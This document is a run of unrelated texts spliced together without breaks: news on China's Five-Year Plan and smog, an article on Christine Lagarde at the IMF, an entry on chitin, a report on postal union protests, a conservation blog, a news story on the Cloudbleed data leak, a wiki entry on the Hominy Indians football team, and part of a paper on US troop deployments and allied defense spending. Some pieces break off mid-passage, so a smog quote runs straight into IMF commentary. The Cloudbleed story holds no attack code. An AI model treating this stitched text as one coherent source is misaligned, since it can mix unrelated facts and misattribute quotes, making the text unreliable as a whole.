Local governments
Hu Angang told chinadialogue that the 13th FYP is proving the local governments with the tools and targets to switch orientation.
“In the design of the 13th FYP, we’ve seen a shift from talking about industrial counties, industrial cities and industrial provinces, to talking about green development. China has already entered the era of green development… [which will] reduce [industrial] capacity by shutting down energy-intensive and polluting firms.”
Manish Bapna, executive vice president of the World Resources Institute, hopes to see the 13th FYP include ambitious targets for action on the use of clean energy, the tackling of air pollution, forest-creation and dealing with soil and water pollution – and more importantly, a real shift in how the Chinese economy grows.
“I hope to see the Chinese government do more to change the traditional method of development, which is reliant on increasing supply. Often people think increasing the water supply means building more dams, increasing the energy supply means building more power stations. But actually we should look at how to reduce demand and decouple resource consumption from economic growth.”
Something in the air
Smog appeared to be the focus of discussion both inside and outside of Beijing’s assembly halls. On the first day of the Lianghui Assembly, the city issued an amber pollution alert, meaning that schools and kindergartens were advised to keep children inside.
Song Zuying, a member of the CPPCC and famous singer, joked that while members from Beijing might be used to the foul air, those from other parts of the country would have to acclimatise.
While official figures showed air quality in China had improved in 2015, many people did not feel this was the case, One journalist pointed out at a CPPCC press conference. Wang Guoqing, a CPPCC spokesperson, responded that ending smog will require a sustained effort.
“Pollution does not form overnight, nor can our efforts to end it see immediate effect,” said Wang.
According to media reports, air pollution was one of the main topics at local-level Lianghui meetings, with local government work reports citing specific smog targets for the first time.
Green belts
In Beijing, the city government intends to reduce PM2.5 levels by 5% in 2016. In northeastern Jilin, officials will launch a clean air action plan.
At the national policy level, CPPCC member Xu Jiankang proposed a smog tax and a congestion charge in order to reduce vehicle emissions. People’s Representative Li Sheng said that residential and other buildings should be required to include internal green belts to help clean the air and reduce smog.
Meanwhile, Yi Jianqiang, a Chinese Academy of Sciences expert added that the precise causes of smog are still unclear and need to be further investigated.
The view that smog is caused by vehicle exhaust fumes is more popular with the public than with scientists, he said.“She has been a very effective leader,” said Edwin M. Truman, a specialist in international finance formerly at the Federal Reserve and the United States Treasury. “Yes, there are big questions about the fund’s future. But for her to have to step down now — well, that would be complicated.”
Jacob J. Lew, the Treasury secretary, expressed the Obama administration’s support for Ms. Lagarde, saying that “she is a strong leader of the I.M.F., and we have every confidence in her ability to guide the fund at a critical time for the global economy.”
For the Trump administration, “I don’t think this kind of ethical question is likely to be the highest priority,” Mr. Truman said. While the I.M.F. and other global institutions did not figure in the presidential debate, Mr. Trump repeatedly criticized a “global power structure” that fixed the economy against workers.
“At bottom, it’s all about French politics,” Mr. Truman said.
Members of the I.M.F. board were well aware that Ms. Lagarde was facing trial in her native France over allegations that occurred when she was the finance minister in the administration of Nicolas Sarkozy.
The consensus among the directors was that Ms. Lagarde’s transgressions occurred when she was not at the fund — in contrast to those of her predecessor, Dominique Strauss-Kahn — and since taking charge in 2011, she had proved to be a leader capable of presenting a softer side of the fund while fighting hard to bolster its legitimacy in the aftermath of the financial crisis.
More so than her predecessors, Ms. Lagarde has pushed the fund to be more aggressive in taking up the cause of women and focusing attention on growing issues of inequality around the world.
Over the last year and a half, she has also led a forceful public critique of Europe’s refusal to offer Greece debt relief in return for the difficult economic changes the country has been making.Chitin
Chitin (C8H13O5)n is a long-chain polymeric polysaccharides of beta-glucose that forms a hard, semitransparent material found throughout the natural world. Chitin is the main component of the cell walls of fungi, and in the exoskeltons of arthropods, such as the crustaceans (e.g. crab, lobster, and shrimp), and the insects (e.g. ants, beetles, mealworms, and butterflies). Chitin has also proven useful for several medical and industrial purposes. Detailed Description Chitin (IPA: [ˈkaɪtɪn]) is one of the main components in the cell walls of fungi, the exoskeletons of insects and other arthropods, and in some other animals. It is a polysaccharide; it is constructed from units of N-acetylglucosamine (more completely, N-acetyl-D-glucos-2-amine). These are linked together in β-1,4 fashion (in a similar manner to the glucose units which form cellulose). In effect chitin may be described as cellulose with one hydroxyl group on each monomer replaced by an acetylamine group. This allows for increased hydrogen bonding between adjacent polymers, giving the polymer increased strength. In its unmodified form, chitin is translucent, pliable and resilient, and quite tough. In arthropods, however, it is frequently modified, by being embedded in a hardened proteinaceous matrix, which forms much of the exoskeleton. The difference between the unmodified and modified forms can be seen by comparing the body wall of a squishy caterpillar (unmodified) to a beetle (modified). Chitin is one of the many naturally occurring polymers. Its breakdown may be catalyzed by enzymes called chitinases, secreted by microorganisms such as bacteria, which may have receptors to simple sugars from the decomposition of chitin. If chitin is detected, they then produce enzymes to digest the chitin by reducing it to simple sugars and ammonia. Chitin is closely related to chitosan (a more water-soluble derivative of chitin). It is also closely related chemically to cellulose in that it is a long unbranched chain of glucose derivatives. Both materials contribute structure and strength, protecting the organism. Etymology The English word "chitin" comes from the French word "chitine", which first appeared in 1836. These words were derived from the Latin word "chitōn", meaning mollusk, which in turn comes from the Greek word khitōn, meaning "tunic" or "frock". A similar word, "chiton", refers to a marine animal with a protective shell (also known as a sea cradle). The Greek word "khitōn" can be traced to the Central Semitic word "*kittan", which is from the Akkadian words "kitû" or "kitaum", meaning flax or linen, and originally the Sumerian word "gada" or "gida".[1] Uses Industrial Chitin is used industrially in many different processes. Chitin is used in water and wastewater purification, and as an additive to thicken and stabilize foods and pharmaceuticals. Chitin also acts as a binder in dyes, fabrics, and adhesives. Industrial separation membranes and ion-exchange resins can be made from chitin. Processes to size and strengthen paper employ chitin. Medicine Chitin's properties as a tough, and strong material make it favourable as surgical thread. Its biodegradibility also means it wears away with time as the wound heals. Moreover, chitin has some unusual properties that accelerate healing in wounds in humans. Chitin has even been used as a stand-alone wound-healing agent. References American Heritage dictionary of the English Language: Fourth Edition. 2000. entry for chiton Life after death for empty shells: Crustacean fisheries create a mountain of waste shells, made of a strong natural polymer, chitin. Now chemists are helping to put this waste to some surprising uses, Stephen Nicol, New Scientist, Issue 1755, February 09, 1991. Search for Chitin on all of Sugarglider.com.Postal unions have planned nationwide demonstrations for Thursday to protest a recent U.S. Postal Service deal that allows office-supply retailer Staples to sell USPS products such as stamps, mail services and package delivery.
The financially struggling Postal Service has touted its agreement as part of a plan to boost business through partnerships with retail giants and provide customers with greater convenience. But labor groups contend that the deal amounts to a move toward privatization and that the agency is replacing its workers with low-paid employees while putting the quality of its services at risk.
A USPS customer uses a self-service machine. (Andrew Burton/Getty Images).
“Staples employees receive minimal training, and the company’s low pay results in high employee turnover,” American Postal Workers Union Local 140 president Dena Briscoe said in a statement. “Mail should be handled by highly-trained, experienced postal employees, who swear an oath to protect your letters and packages and who are accountable to the American people.”
MORE: Staples’ selling postal products without USPS workers stirs fears of privatization
The USPS defended its partnership in a statement on Wednesday, saying the expansion to retail stores is “an opportunity ‘to grow the business’ and has never been an earmark to pave a way to privatization.”
“The Postal Service receives no tax dollars for operating expenses, and relies on the sale of postage, products and services to fund its operations,” the agency added. “This retail partnership program could be an innovative step towards generating revenue to ensure the long-term viability of the Postal Service.”
APWU national president Mark Dimondstein suggested the deal makes little sense in light of Staples’s recent struggles. The company announced in March that it would close 225 stores in an effort to trim costs amid weakened sales.
The groups participating in Thursday’s protests include the APWU, the National Postal Mail Handlers Union and the National Association of Letter Carriers. They planned demonstrations at more than 50 Staples locations throughout the country, including in D.C., Baltimore and Richmond, Va.
Follow Josh Hicks on Twitter, Facebook or Google+. Connect by e-mail at josh.hicks(at)washpost.com. Visit The Federal Eye, and The Fed Page for more federal news. Submit news tips and suggestions to federalworker@washpost.com.This weekend, I was lucky enough to visit the incredible White Oak Conservation in North Florida located on the banks of the St. Mary’s River, where my sister (I hate using “in law”) and her boyfriend work. They are so passionate about their job, and their mission in life is to conserve and protect birds, big cats, and other animals. At White Oak, they’re trying to presevere the future by protecting endangered species. I was able to see animals I would never have had the chance to photograph, and during tours, visitors are allowed to touch rhinos and have unprecedented access, while never invading the animal’s space.
I’m happy to share with you the photos from my time at White Oak, braving the rain and mud. Below you will see pics of cheetahs, rhinos, tigers, and cassowaries. There are so many different types of animals; I wish I could have taken photos of all of them. “White Oak is well-known in the conservation and zoo communities for their rhinoceros, cheetah, antelope, and okapi (a rare giraffe relative) programs, and for their support of conservation in Africa, Asia, and the United States,” according to their homepage.
Credit Joseph Lapin Photo Credit Joseph Lapin Credit Joseph Lapin Credit Joseph Lapin Credit Joseph Lapin Credit Joseph Lapin Credit Joseph Lapin
My sister works with the cheetahs, and she has actually hand reared some of them. When she approaches the cheetahs, you can see how much they love her. I swear, they think of her as their mother. It’s incredible how much space the cheetahs have to run, and they are so elegant when they walk. As you can see in one of the photos, they have a dog, an Anatolian Shepherd, mixed in with the cheetahs. The dog is there to help calm the cheetahs down, and it’s a tactic widely employed.
Credit Joseph Lapin Credit Joseph Lapin Credit Joseph Lapin Credit Joseph Lapin Credit Joseph Lapin
Space is what makes White Oak so special. It’s hard to imagine another facility where animals have the room to wadner and feel somewhat like they’re in their natural habitat. White Oak sits on 7,400 acres, and that’s why I’m able to shoot photographs of such amazing animals like those you see above. Rhinos are so important to conserve because of the popularity of their horn, which is valued as a type of medicine and aphrodisiac by many. According to The Guardian, over 1,000 rhinos were killed in South Africa in 2013.
Credit Joseph Lapin Credit Joseph Lapin Credit Joseph Lapin
Finally, I’m grouping the tigers and the cassowaries together because I’m not sure what animal scares me more. Most people are aware that tigers can be deadly predators, but I’m not sure how many people know how terrifying a cassowary can be. According to White Oak, “Cassowaries are found in Northern Australia, New Guinea, Ceram and Aru Island … They can weigh up to 165 lbs. and grow to be 5 ft tall at top of head.” Cassowaries are pretty fast, and they can run up to 30 m.p.h., but they might not have much of a reason to run, because they’re one of the toughest fighters in the animal kingdom.
Here is why cassowaries are so scary to humans, according to White Oak’s website:
“A kick is capable of delivering a crushing blow, none more so than that delivered by a cassowary, a bird to which more human fatalities have been attributed than to any other. The inner of the three toes of each of the cassowary’s feet bears a long, dagger-like claw. Cassowaries are among the shortest – tempered of birds and will go on the defensive with very little provocation. The adult’s coarse plumage serves well in damp jungle undergrowth.”
This is what I admire most about White Oak and conservationism in general: It doesn’t matter how dangerous an animal is or what potential threat they can cause to a human; conservationism is about protecting endangered species. Because from what I can tell, humans are still the most dangerous species, and we wreck more homes for animals than we’ll ever know. Your comments are always appreciated.Sensitive personal data including cookies, API keys, and passwords has been leaked by web optimization giant Cloudflare. The company — which provides SSL encryption to millions of sites across the internet — announced the leak in a detailed post on its blog last night. The company said that it had not yet identified any malicious uses of the information, but noted that there was an additional problem because some of the data had been cached by search engines.
The problem was initially spotted by Tavis Ormandy, working for Google's Project Zero security initiative, on February 18th, but the flaw may have been in effect as early as September 22nd last year. Cloudflare says the biggest outpouring of information started on February 13th when a shift in code meant one in every 3,300,300 HTTP requests potentially resulted in memory leakage — a significant figure for a network the size of Cloudflare.
Could someone from cloudflare security urgently contact me. — Tavis Ormandy (@taviso) February 18, 2017
Ormandy says he found hotel bookings, passwords from password managers, and full messages from dating sites among the cached data. "I didn’t realize how much of the internet was sitting behind a Cloudflare CDN until this incident,” he wrote on February 19th. "We're talking full https requests, client IP addresses, full responses, cookies, passwords, keys, data, everything." After spotting Ormandy's Twitter message, Cloudflare engineers disabled three features that used the broken code that caused the issue, and moved to work with search engines who had cached the information to clear it.
The leak (unofficially titled "Cloudbleed" in reference to 2014's Heartbleed exploit) was the result of a "buffer overrun," Cloudflare said, a problem caused by a mistake in its code. Cloudflare said the bug had been present in its code for years, but had not been uncovered until it switched from the Ragel parser to a new parser called cf-html, a move which "subtly changed the buffering" and made the leak happen, "even though there were no problems in cf-html itself."
Dating site messages were found in the leaks
Explaining the delay in announcing the leak, Cloudflare says its "natural inclination was to get news of the bug out as quickly as possible," but that it felt it "had a duty of care to ensure that search engine caches were scrubbed before a public announcement." It also said it conducted a search of sites such as PasteBin for repositories of leaked information but found nothing.
Cloudflare's blog post claims that it took just over seven hours for it to stem all three sources of potential leaks, and Ormandy says he was "really impressed" with its quick response to the problem. Still, it might be a good idea to change your passwords, especially given how deeply embedded into the internet CloudFlare is.
Correction: Clarified that the bug in code was not directly generated by the Ragel parser.The Hominy Indians were a professional American football team in Hominy, Oklahoma during the 1920s and 1930s.[1] On 26 December 1927[2] they had a chance to play against the New York Giants, the World champion team at that time. The team played its last season in 1936.[3] The Hominy Indians were a professional American football team founded and financed by Otto and Ira Hamilton,[4] from Hominy, Oklahoma. The team was an all Native American team, with players coming and going from twenty two different tribes. They were named State Champions in 1925. They played regionally and traveled across the country to games. On 26 December 1927. the Hominy Indians had a chance to play against the World Champions, New York Giants. The team played its last season in 1936. A docu-drama film titled "Playground of The Native Son" went into production in the winter of 2012 in Oklahoma, with a release date of 2013. The film is produced by Fully Funded Films owner, Celia Xavier and is to be co-directed by Michael P Nash and Celia Xavier. The Executive Producer was Celia Xavier, and the movie was starred in and narrated by Adam Beach. A subsequent feature film is in pre-production currently based on the Hominy Indians Football team. Contents
History Edit
In the early 1870s, one band of the Osage Tribe led by Blackdog were relocated by the U.S. Government from a reserve in northern Kansas to what is now Hominy, Oklahoma. This band of Osages became one of the five settlements of the Osage Nation. Hominy was located near a creek and was inhabited by extremely large natives, the majority of them taller than six foot and over 200 pounds.[5] The Hominy Indians were established in 1923 playing teams formed by American Legions of neighboring cities in Kansas and Oklahoma. They proved successful quickly but were always short on finances. In 1925, they were bankrolled by Dick Rusk, Harry Bigeagle, Allison Webb, and Ed LaBelle providing them with uniforms and travel expenses.[6] They were a professional all-Indian American football team whose greatest accomplishment was defeating the National Football League champions, the New York Giants, in 1927.[7]
The Team Edit
Ira Hamilton was the leader of the football team, which was founded by a group of Osage men.[8] According to “Hominy Indians,” the team was “all-Indian”, but was composed of teammates from many different tribes. They accomplished a 28-game winning streak during their time |
balanced, a common security threat during the Cold War—the Soviet Union—reinforced this relationship. Because NATO members faced the brunt of a direct conflict, it was in their best interest to contribute to the collective defense to deter Soviet aggression. In such a situation, free-riding was more costly for NATO members, and the expected costs of opportunism for the United States were low ( Lake 1999, 2009 ). 5
Previous theoretical work on alliances reinforces the concept that the NATO alliance is different from other types of alliances. As with Lake's theory, Morrow's (1991) theory of asymmetric alliances similarly suggests that because NATO members are closer to the United States in power and capabilities than most other states, the NATO alliance provides greater gains to US security than most other alliances. Hence, the United States had incentives to encourage NATO allies to increase defense spending because NATO spending would produce larger gains to the United States’ own security. Additionally, the structure and institutionalization of an alliance can affect whether states honor their alliance commitments ( Leeds and Anac 2005 ; Leeds and Savun 2007 ). The highly institutionalized structure of NATO in particular suggests that it was easier to monitor member states’ contributions to the alliance. Some scholars have also argued that the failure of a state to contribute adequately to the collective defense effort might prompt the United States to reduce contributions, thereby depriving the host-state of its previous level of deterrence (for example, Murdoch and Sandler 1982 ; Oneal 1990 ).
Lastly, there is empirical evidence that NATO members have not pursued a strategy of free-riding on US efforts. On the contrary, previous work focusing on NATO has found that states increase defense spending when the United States increases defense spending, and vice versa ( Oneal 1990 ; Palmer 1990a, b ). Viewing US troop deployments as another indicator of the size or extent of US contributions to the host-state's security, we might expect NATO states to contribute more to their own defense when they host a larger US deployment and contribute less when they host fewer US troops.
From this discussion, we derive our third hypothesis:
Hypothesis 3. The size of a US troop deployment in a NATO state positively correlates with the proportion of its national income that state devotes to defense.
Regional Deployments
Thus far, we focused on the relationship between US troop deployments and their direct impact on the host-state. The number of troops within a state is one factor that can influence policymakers’ allocation of resources—a high number of US troops stationed around the host-state's region should also impact defense spending. According to Lake's (2009) framework, a large regional deployment could indicate that a state resides in the midst of a “community” of subordinate states with which the United States enjoys a hierarchical relationship. As described above, we generally expect states to decrease defense spending when US troops are deployed within their own borders. By extension, we might also expect deployments in the surrounding region to correlate negatively with a state's defense expenditures. Even if a state does not itself host US troops, it may respond to the increased stability provided by the United States’ dominant role in the region, and lowered neighboring defense spending levels, by decreasing its own defense spending. Large regional deployments may also provide a protective buffer from external threats as they would suggest that the United States is committed to maintaining regional stability. In this case, we expect the dynamics illustrated in Figure 2 to operate in a similar fashion for regional deployments.
Hypothesis 4. The size of US troop deployments in the region surrounding a state negatively correlates with the proportion of its national income that state devotes to defense.
As we argue above, how a state responds to regional deployments may also depend upon its own ties to the United States. We expect weak allied states (non-NATO allies) to respond to regional deployments in accordance with the general model. These states are subordinate to the United States and should lower their defense burdens in response to larger regional deployments, because such deployments signal that the state is surrounded by states who share subordinate relationships with the United States.
Hypothesis 5. The size of US troop deployments in the region surrounding a non-NATO allied state negatively correlates with the proportion of its national income that state devotes to defense.
States without formal alliance ties with the United States can still benefit from the security and order benefits that US deployments bring. If the presence of US troops within a non-allied state decreases that state's expenditures on the military as we hypothesize, then non-allied states surrounded by large US military deployments should see a general decrease in the defense expenditures of their neighbors. Accordingly, non-allied states may respond to large regional deployments by decreasing their own defense burden, finding themselves safely ensconced in a neighborhood of states that are all subordinate to the United States.
Hypothesis 6. The size of US troop deployments in the region surrounding a non-allied state negatively correlates with the proportion of its national income that state devotes to defense.
Lastly, because NATO members exist in a small geographic area, increasing regional deployments for any given NATO state will imply an increase in US contributions to NATO's defense more broadly. As discussed above, NATO has emphasized burden sharing more than other US alliances, and that there is a positive correlation between US contributions to NATO and the contributions of the individual member states. Thus, we should expect increases in regional deployments to correlate with an increase in the defense burden of NATO states.
Hypothesis 7. The size of the US troop deployments in the region surrounding a NATO member state positively correlates with the proportion of its national income that state devotes to defense.
Research Design
To test our hypotheses, we use the variable Defense Burden as our dependent variable. Defense burden is a state's military spending as a proportion of its gross domestic product (GDP). We use defense expenditures as a percentage GDP for multiple reasons. First, this is a common practice in previous studies that look at the relationship between defense expenditures and economic performance (for example, Mintz and Huang 1991 ; Cuaresma and Reitschuler 2006 ). Second, this measure provides context for both the aggregate value of a state's economy as well as providing a measure for state spending potential. Affixing defense spending to the state's GDP gives us a better idea of what the state could spend but chose not to. 6
We compiled values for military spending from the Correlates of War (COW) National Material Capabilities Dataset ( Singer 1987 ). GDP data come from Gleditsch's (2002) Expanded Trade and GDP Dataset.
Our key independent variable is the number of US military personnel ( Troops ) stationed in a country. 7
We also focus on the average level of troops in the region surrounding a state ( Regional Troops ). We gathered both variables from Kane's (2006) dataset on global US troop deployments from 1951 to 2005. These variables allow us to assess the impact that US military deployments have on the host-state's military spending while also affording us the opportunity to examine the general impact of regional deployments on spending in both host-states and non-host-states. 8 As the distribution of troops across countries is highly skewed, we use the natural log of these variables in our models. 9
We control for other factors that might influence states’ military spending. Previous studies suggest that democratic states spend less on the military than autocratic states ( Goldsmith 2003 ; Fordham and Walker 2005 ). We include the standard 21–point indicator ( Polity ) of regime type from the Polity IV data set ( Marshall, Jaggers, and Gurr 2011 ). We expect democratic states to keep defense spending low and social spending high, barring any immediate threat.
As we discuss above, larger states may spend more than smaller states. States with larger economies can afford to devote more of their national incomes to defense. However, because our dependent variable contains GDP in its denominator, we do not include GDP on the right-hand side of the equation. To capture other characteristics of a state that potentially relate to defense expenditures, we control for a state's economic growth ( Growth ), which is the percentage change in GDP between the observed period ( t ) and the previous period ( t − 1). 10
We also control for the state's population ( Population ). Since population is highly skewed, we use the natural log of this variable. We generate both variables using Gleditsch's (2002) Expanded Trade and GDP data.
One consistent feature of models that evaluate the trade-off between guns and butter is to estimate a budget function that calculates the impact defense expenditures have on social expenditures (while controlling for overall government expenditures). We have shied away from this direct model for the simple reason that, if our theory is correct, models including both social expenditures and troops as covariates for defense expenditures suffer from endogeneity bias. We had two options in correcting for this estimation. Our first option was to create a system of estimations and use instruments to try to account for the endogenous implications of the covariates and the variables of interest. While this allows us to ascertain the validity of some of our assumptions and estimate the total effects of troops on the budget, the use of instrumental variables and a complex system likely results in additional biases in our parameters for the relationships we did not fully take into account. We do return to a system of equations as a robustness check on our initial models, however.
Our second option—the one we employ here—is to take a proximate cause of social expenditures and use the previous year's calculation to determine the aggregate expected shift in social spending. Using Abouharb and Kimball's (2007) complete dataset on Infant Mortality Rate ( IMR ), we use this value to represent the level of demand for social services. Higher levels of IMR indicate a stronger demand for social spending, while lower levels indicate a lower need for social spending. Accordingly, we should expect high levels of IMR to warrant an increase in social spending and a decrease in defense spending. Kimball (2010) has found IMR to be a sufficient proxy for social demands in models evaluating guns versus butter decisions by the government and that governments facing high levels of IMR are likely to find alternative methods to cope for defense expenditures.
We also account for international pressures that may affect defense spending. States involved in large-scale military engagements should have higher defense expenditures. We control for interstate war ( War ) to capture periods in which we should see such surges. We also include a dummy variable to account whether a country experiences civil war in a given year ( Civil War ). We expect governments will increase allocations to defense spending when engaged in a civil war. We code these variables using the COW interstate and intrastate war data sets ( Sarkees and Wayman 2010 ).
Although war is an important control, it excludes a great deal of activities and conflicts that may fall short of the 1,000 battle–death threshold. Wars are rare events, and states often engage in military adventures that these variables do not capture. States that are militarily active might also have a greater need to allocate resources to the military. Accordingly, we control for the average number of militarized interstate disputes (MIDs) that a state experiences. This variable is a moving average of the number of MIDs the state participated in for the previous 3 years ( t − 1, t − 2, and t − 3). 11
Since some states may experience short-term conflicts that may not have a discernible impact on defense expenditures, we take the moving average to capture more general pressures/trends that might lead states to increase their defense burden. Additionally, states will ratchet up military expenditures in anticipation of an upcoming war and understanding the militarized threats state face on average will account for a changing international environment that is distinct from ongoing conflicts. We coded this variable using the COW MIDs data set ( Ghosn, Palmer, and Bremer 2004 ).
States may also increase spending on defense in the face of latent threats. To account for latent threats, we follow Leeds and Savun's (2007) to generate a variable of each state's international threat environment. We generate this variable using Signorino and Ritter's (1999) S scores and the COW National Material Capabilities Data ( Singer 1987 ). 12
We expect states that have a higher international threat level to allocate more to defense.
States that are geographically more exposed to potential threats may devote more resources to defense. The larger the number of border states surrounding a country, the more likely the state may experience conflict, which may encourage the state to increase defense spending. We control for the number of states within whom the observed states shared a border ( Border States ) ( Stinnett et al. 2002 ).
Lastly, we use the Alliance Treaty Obligations and Provisions (ATOP) data set to identify the groupings of US allies for our analysis ( Leeds, Ritter, McLaughlin Mitchell, and Long 2002 ). 13
We divide the data into four categories: all states, non-NATO allies, NATO allies, and non-allies.
The structure of our analysis is a pooled cross-sectional time series. In our initial set of models, we control for both the spatial correlation between the panels, as well as the serial correlation within panels, using a Prais–Winsten regression with panel-corrected standard errors and an (AR1) autocorrelation structure. 14
Beyond these initial models, we are sensitive to concerns of endogeneity between foreign troop deployments and state-based characteristics. As a robustness check, we employ a three-stage least squares (3SLS) estimate to account for the relationship between social expenditures and defense expenditures. We continue to use the same base model as from our initial sets of equations but include a measure of social expenditures to represent the butter trade-off. To capture this effect, we include the World Bank World Development Indicator's education spending as a percentage of GDP ( Education as % GDP ) (World Bank 2012 ). These data only overlap with the period of 1971–2003 in our study. 15
Results
Table 1 contains the results of our four initial models. The troops variable is negative and significant at the 0.01 level in Model 1. The results indicate that a 1% increase in the number of US troops deployed in a country associates with a decrease of approximately 0.25 percentage points in the percentage of national income a state spends on defense. In Model 2, the troops variable fails to attain statistical significance for non-NATO allies. 16
However, the troops variable is negative and significant at the 0.01 level for non-allied states in Model 4. The coefficient indicates that a 1% increase in the number of US troops deployed to the target state correlates with a 0.34 percentage point decrease in the proportion of the target state's GDP allocated to the military. Finally, for Model 3, the troops variable is positive and significant at the 0.05 level for NATO allies. A 1% increase in the number of US troops deployed to a NATO ally associates with a 0.07 percentage point increase in the proportion of that state's GDP devoted to military spending.
To better assess the relative impact of troops for all states, Figure 3 graphs the predicted values of the host-state's defense burden based on Model 1 in Table 1. Panel A graphs the predicted defense burden across the range of troops observed in the data, while Panel B shows the predicted defense burden across the range of the Polity variable. As shown in Panel A, at 0 on the x –axis, representing one US troop deployed in a country, we expect a state to spend approximately 3.67% of its GDP on the military. As the number of US troops deployed to that state increases to 1 on the x –axis, the percentage of that state's economy devoted to defense decreases to approximately 3.40%. An increase from 0 to 8 (nearly 3,000 troops) on the x –axis cuts the expected proportion of the economy devoted to defense by more than half of the predicted value to when there are effectively no troops deployed—moving from approximately 3.67% to approximately 1.65% of GDP. In substantive terms, assuming a hypothetical state with a GDP equal to the sample mean, this translates in a cut from a defense burden of $5.8–$4.0 billion. Increasing to the maximum on the troops variable decreases the host-state's defense burden even further, to approximately 0.39% of GDP.
Fig 3. View largeDownload slide Predicted Defense Burden as a Function of Troop Deployments and Democracy. All States, 1951–2003. 95% Confidence Intervals Shown. Predicted Values Based on Prais–Winsten Regression Model 1 in Table 1
Fig 3. View largeDownload slide Predicted Defense Burden as a Function of Troop Deployments and Democracy. All States, 1951–2003. 95% Confidence Intervals Shown. Predicted Values Based on Prais–Winsten Regression Model 1 in Table 1
Panel B shows that the effect of troops on defense spending is sharper than the effect of increasing democracy on defense spending. The starting point is in line with our baseline from Panel A—approximately 3.74% of GDP. However, moving from the least democratic states to the most democratic, we see this figure decrease to roughly 1.82% of GDP. Thus, the number of US troops stationed in a country is just as important for determining its defense spending as the enduring political structures within those countries.
With respect to the subsample models, the NATO allies model (Model 3) results support our hypothesis regarding the positive contributions we expect from NATO allies. Previous studies that focus on collective defense contributions in NATO have found a positive correlation between US contributions and ally contributions. However, these studies only had data available for the Cold War period. Our analysis extends past the Cold War period and our results are consistent with earlier findings, even when we run Model 3 again on the post-Cold war period. These results suggest that the behavior of NATO allies conform to the cooperative pattern of behavior predicted by earlier studies, and that this dynamic has continued for NATO allies into the post-Cold War period (for example, Palmer 1990a, b ).
Alternatively, although the coefficient in the non-allied states was negative and significant (Model 4), the insignificant coefficient for non-NATO allies (Model 2) hides more interesting patterns. When we look only at the Cold War period, the troops variable yields a negative and statistically significant coefficient. However, when we look at the post-Cold War period, the troops variable yields a positive and significant coefficient. Though beyond the scope of this paper, these results suggest there may be more complex temporal dynamics at work for some states.
In terms of the spatial troops variable, it was positive and significant at the 0.01 level in all models except Model 2, where it was significant at the 0.10 level. 17
These results provide support for Hypothesis 7 but fail to provide support for Hypotheses 4, 5, and 6. The spatial variable's positive coefficient is also substantively larger for non-allied states than it is for the NATO allies.
Lastly, the control variables either perform as expected or fail to attain statistical significance. Polity is negative and significant in Models 1, 2, and 4, indicating that, on average, states that are more democratic tend to devote a lower share of their GDP to defense. Although Polity is not significant in Model 3, this is likely due to the sample consisting of states concentrated at the high end of the Polity scale. This finding is in line with previous studies that have found a negative association between democratic institutions and defense expenditures ( Goldsmith 2003 ; Fordham and Walker 2005 ). The state's total population and infant mortality rate fail to attain statistical significance in nearly all of the models in Table 1. Infant Mortality is positive and significant only in the NATO allies model.
The security-related variables have mixed results. The war and civil war variables are positive and highly significant in Models 1, 2, and 4. As expected, periods of military conflict motivate states to devote larger shares of their national income to military purposes. Alternatively, the MIDs variable is only positive and significant in Model 2 for non-NATO US allies. The threat environment variable fails to attain statistical significance in any of the models in Table 1. The border states variable also fails to reach significance in any of the models included in Table 1.
Dealing with Endogeneity
There is reason to suspect that the results presented in Table 1 may contain bias as a result of endogeneity between the independent variables. The coefficient on X 1 reflects the correlation between X 1 and Y, after accounting for the correlations between X 1 and X 2 …k. It is possible that X 1 (that is, Troops) is partly endogenous to other independent variables (for example, War) as well as being endogenous with the dependent variable—that is, defense spending levels may encourage or discourage the United States from deploying troops regionally. This potential endogeneity may bias our estimates of the actual effect of the troops variable on defense spending. To deal with this issue we have run an additional set of models, shown in Table 2, using a three-stage least squares estimator to account for endogeneity and the accompanying bias contained in our previous models. We also account for an aspect of social spending by including the amount of expenditures for education in the observed state. The results from these models generally support the findings from our previous models.
The estimation of the system of equations involves three inter-related dependent variables of interest: (i) the number of troops deployed to the observed state, (ii) the observed state's public education expenditures in a given year, and (iii) the observed state's defense burden. The first dependent variable is the number of troops deployed in a country for a given year. There is reason to suspect that the United States deploys troops conditional upon some of the features of that state, which include some of the control variables we included in the first four models. If this is the case, it creates problems for empirically estimating and interpreting the independent effects of both troop deployments and the other control variables on defense expenditures. Our second dependent variable is one that we have not introduced in the previous estimations, Education Spending as Percentage of GDP. Since our theory assumes troop deployments relate to government expenditures, we try to get a grasp on how troops affect social expenditures and how that may relate back to defense expenditures. The third dependent variable is the primary dependent variable of interest from our previous set of models, defense burden as a percentage of GDP.
Other studies looking at issue of defense versus social spending (guns versus butter) have attempted to find ways in which to estimate the trade-off between the different types of expenditures. Ideally, we want to employ total social spending data as the counter to defense expenditures; unfortunately, the available data on social expenditures tends not to have consistent coverage for the temporal period and spatial samples of interest (e.g., International Monetary Fund 2009 ; World Bank 2012 ). We could either take an individual component of broader social spending programs that has decent coverage and allows for a larger sample size, or we could use a sample of all countries that have data for all subcomponents of social spending. We opted for the former strategy as a single component provides more data points. To account for some level of social expenditures, we employ overall public education spending as a percentage of GDP using data from both the IMF and the World Bank. Using education expenditures as a proxy for social spending is not uncommon in the guns versus butter literature ( Russett 1982 ; Mintz and Huang 1991 ; Aslam 2007 ).
For the defense spending equation, we maintain the same variables as in Model 1 from Table 1 and only introduce the new variable of education expenditures into the estimation. We generally expect defense expenditures to be lower when education spending is higher. However, this is likely to be conditional upon the relationship the observed state has with the United States. As we argue, and to the extent that there is a tradeoff, NATO allies will feel the strongest pressure to cut social budgets in deference to defense. However, other states may not feel the same pressure. For predicting education expenditures, we posit that it is a function of troop deployments, defense expenditures as a proportion of GDP, economic growth, GDP per capita, government polity, the log of total population, and infant mortality rate (social demand ( Kimball 2010 )).
For the estimation of troop deployments, we posit that it is a function of the troop deployments in the previous time period ( t − 2, a positive relationship), the state's previous defense burden (this relationship is conditional based on the relationship the state has with the United States), the total population of the state (demand for security, positive), the number of previous MIDs (positive), ongoing war (positive), if the state is an ally of the United States (positive), and threat environment. In our estimation, we lag the independent variable by one time period previous to the dependent variable we are estimating. Since we expect the data generating processes of our sample is a Markovian process, where the observed period is contingent upon the previous time period ( t − 1) and not time periods previous to that, this affords us room to treat the lagged variables as exogenous to the system of equations. As such, our model is over-identified and should provide consistent estimates in each part of the system ( Bollen 1989 ).
Table 2 shows the results of our three-stage least squares models. The results shown here are largely consistent with the results from Table 1. 18
Troop deployments have a direct negative effect on defense expenditures in Model 1. For NATO members, the presence of US troops increases defense expenditures in those countries, matching up with the results from Table 1
